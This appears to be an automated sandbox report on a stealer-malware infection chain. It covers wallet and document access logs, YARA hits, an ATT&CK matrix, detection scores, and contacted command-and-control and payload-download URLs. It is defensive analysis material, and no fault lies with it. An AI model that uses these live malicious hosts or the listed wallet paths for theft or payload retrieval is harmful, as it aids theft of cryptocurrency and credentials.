Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Directory queried: C:\Users\user\Documents	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe

Directory queried: number of queries: 1001

Source: Yara match	File source: 0000000C.00000003.2659449824.0000000000F20000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7349a3c308.exe PID: 7612, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 7349a3c308.exe PID: 7612, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 6.2.44098beb09.exe.37694e0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.44098beb09.exe.130000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.44098beb09.exe.3723198.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.44098beb09.exe.37694e0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000000.2425531210.0000000000132000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2434720509.0000000003709000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe, type: DROPPED

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 0000000D.00000003.2628315263.0000000004AD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2633120606.0000000002F10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2645486953.0000000002F20000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2633275336.0000000004D00000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected zgRAT

Source: Yara match

File source: 6.2.44098beb09.exe.3723198.2.raw.unpack, type: UNPACKEDPE

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_0092EC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,		5_2_0092EC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_0092DF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,		5_2_0092DF51

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	3 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	14 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	12 Process Injection	11 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	Logon Script (Windows)	1 Scheduled Task/Job	5 Obfuscated Files or Information	Security Account Manager	21 File and Directory Discovery	SMB/Windows Admin Shares	21 Input Capture	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	Login Hook	13 Software Packing	NTDS	345 System Information Discovery	Distributed Component Object Model	2 Clipboard Data	125 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	1171 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	371 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	371 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	60%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\iscwgalo\2f324f5b70a042e8a5bbc0f48d5c8a87.exe	100%	Avira	HEUR/AGEN.1314134
C:\Users\user\AppData\Local\Temp\1018350001\26539a5c18.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	100%	Joe Sandbox ML
C:\iscwgalo\2f324f5b70a042e8a5bbc0f48d5c8a87.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1018351001\e90a98cf1a.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1018350001\26539a5c18.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	54%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	68%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	67%	ReversingLabs	ByteCode-MSIL.Backdoor.FormBook
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	54%	ReversingLabs	Win32.Spyware.Lummastealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	81%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	75%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	54%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	81%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	54%	ReversingLabs	Win32.Spyware.Lummastealer
C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	68%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\1018350001\26539a5c18.exe	75%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1018351001\e90a98cf1a.exe	67%	ReversingLabs	ByteCode-MSIL.Backdoor.FormBook
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	55%	ReversingLabs	Win32.Infostealer.Tinba
C:\iscwgalo\2f324f5b70a042e8a5bbc0f48d5c8a87.exe	86%	ReversingLabs	Win32.Trojan.LummaStealer

Name	IP	Active	Malicious	Reputation
cheapptaxysu.click	104.21.67.146	true	false	high
lossekniyyt.click	172.67.131.246	true	false	high
github.com	20.233.83.145	true	false	high
raw.githubusercontent.com	185.199.110.133	true	false	high

Contacted URLs

Name	Malicious	Reputation
aspecteirs.lat	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
sustainskelet.lat	false	high
rapeflowwj.lat	false	high
energyaffai.lat	false	high
grannyejh.lat	false	high
https://198.251.84.107:9254/dc33e47f6acdb4eefe/ahbjmv76.0lxxe	false	high
pancakedipyps.click	false	high
necklacebudi.lat	false	high
https://cheapptaxysu.click/api	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://duckduckgo.com/chrome_newtab	7349a3c308.exe, 0000000C.00000003.2571534599.00000000055FB000.00000004.00000800.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2571665051.00000000055F9000.00000004.00000800.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/unique1/random.exe&	skotes.exe, 00000005.00000002.2960801644.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duckduckgo.com/ac/?q=	7349a3c308.exe, 0000000C.00000003.2571534599.00000000055FB000.00000004.00000800.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2571665051.00000000055F9000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#	skotes.exe, 00000005.00000002.2960801644.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, 2f3190c49d.exe, 00000019.00000002.2957603588.0000000000BC7000.00000004.00000020.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/unique1/random.exeZ3	skotes.exe, 00000005.00000002.2960801644.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	skotes.exe, 00000005.00000002.2960801644.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, 2f3190c49d.exe, 00000019.00000002.2957603588.0000000000BC7000.00000004.00000020.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/unique3/random.exe	skotes.exe, 00000005.00000002.2960801644.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	false	high
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	7349a3c308.exe, 0000000C.00000003.2631678667.00000000055B1000.00000004.00000800.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/fate/random.exe	skotes.exe, 00000005.00000002.2960801644.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	false	high
http://axschema.org/company/nameBhttp://axschema.org/company/title:http://axschema.org/birthDateNhtt	44098beb09.exe, 00000006.00000000.2425531210.0000000000132000.00000002.00000001.01000000.0000000A.sdmp, 44098beb09.exe, 00000006.00000002.2434720509.0000000003709000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://schemas.openid.net/pape/policies/2007/06/multi-factor-physical	44098beb09.exe, 00000006.00000000.2425531210.0000000000132000.00000002.00000001.01000000.0000000A.sdmp, 44098beb09.exe, 00000006.00000002.2434720509.0000000003709000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://31.41.244.11/files/x3team/random.exe	skotes.exe, 00000005.00000002.2960801644.0000000000F28000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000005.00000002.2960801644.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://csrc.nist.gov/publications/nistpubs/800-63/SP800-63V1_0_2.pdf	44098beb09.exe, 00000006.00000000.2425531210.0000000000132000.00000002.00000001.01000000.0000000A.sdmp, 44098beb09.exe, 00000006.00000002.2433757320.00000000027E3000.00000004.00000800.00020000.00000000.sdmp, 44098beb09.exe, 00000006.00000002.2433757320.0000000002701000.00000004.00000800.00020000.00000000.sdmp, 44098beb09.exe, 00000006.00000002.2434720509.0000000003709000.00000004.00000800.00020000.00000000.sdmp	false	high
http://31.41.244.11/	skotes.exe, 00000005.00000002.2960801644.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	false	high
http://specs.openid.net/auth/2.0$dnoa.request_nonce	44098beb09.exe, 00000006.00000000.2425531210.0000000000132000.00000002.00000001.01000000.0000000A.sdmp, 44098beb09.exe, 00000006.00000002.2434720509.0000000003709000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://cheapptaxysu.click/Z	7349a3c308.exe, 0000000C.00000003.2727136567.0000000000F26000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://api.libertyreserve.com/beta/xml/transfer.aspx	skotes.exe, 00000005.00000002.2960801644.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	7349a3c308.exe, 0000000C.00000003.2631678667.00000000055B1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://nuget.org/nuget.exe	powershell.exe, 00000014.00000002.2700609333.0000000005B77000.00000004.00000800.00020000.00000000.sdmp	false	high
http://specs.openid.net/extensions/pape/1.0	44098beb09.exe, 00000006.00000002.2433757320.00000000027E3000.00000004.00000800.00020000.00000000.sdmp, 44098beb09.exe, 00000006.00000002.2433757320.0000000002701000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/privatepersonalidentifier	44098beb09.exe, 00000006.00000000.2425531210.0000000000132000.00000002.00000001.01000000.0000000A.sdmp, 44098beb09.exe, 00000006.00000002.2434720509.0000000003709000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cheapptaxysu.click/--U	7349a3c308.exe, 0000000C.00000003.2659449824.0000000000F3C000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://cheapptaxysu.click/r	7349a3c308.exe, 0000000C.00000002.2758616096.0000000000F29000.00000004.00000020.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2752515980.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	44098beb09.exe, 0000000A.00000002.2638678032.0000000003967000.00000004.00000800.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/unique1/random.exe2	skotes.exe, 00000005.00000002.2960801644.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	skotes.exe, 00000005.00000002.2960801644.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, 2f3190c49d.exe, 00000019.00000002.2957603588.0000000000BC7000.00000004.00000020.00020000.00000000.sdmp	false	high
http://crl.microsoftE	powershell.exe, 00000014.00000002.2708831972.0000000008532000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://openid.net/extensions/sreg/1.14http://openid.net/sreg/1.04http://openid.net/sreg/1.1	44098beb09.exe, 00000006.00000000.2425531210.0000000000132000.00000002.00000001.01000000.0000000A.sdmp, 44098beb09.exe, 00000006.00000002.2434720509.0000000003709000.00000004.00000800.00020000.00000000.sdmp	false	high
http://openid.net/xmlns/1.08http://openid.net/signon/1.0	44098beb09.exe, 00000006.00000002.2433757320.00000000027E3000.00000004.00000800.00020000.00000000.sdmp, 44098beb09.exe, 00000006.00000002.2433757320.0000000002701000.00000004.00000800.00020000.00000000.sdmp	false	high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000014.00000002.2693671904.0000000004C66000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000014.00000002.2693671904.0000000004C66000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000014.00000002.2693671904.0000000004C66000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cheapptaxysu.click/B	7349a3c308.exe, 0000000C.00000003.2681153210.0000000000F26000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://contoso.com/Icon	powershell.exe, 00000014.00000002.2700609333.0000000005B77000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	7349a3c308.exe, 0000000C.00000003.2571534599.00000000055FB000.00000004.00000800.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2571665051.00000000055F9000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.rootca1.amazontrust.com/rootca1.crl0	7349a3c308.exe, 0000000C.00000003.2626990694.00000000055EA000.00000004.00000800.00020000.00000000.sdmp	false	high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	44098beb09.exe, 0000000A.00000002.2638678032.0000000003967000.00000004.00000800.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/unique1/random.exe592e1	skotes.exe, 00000005.00000002.2960801644.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	false	unknown
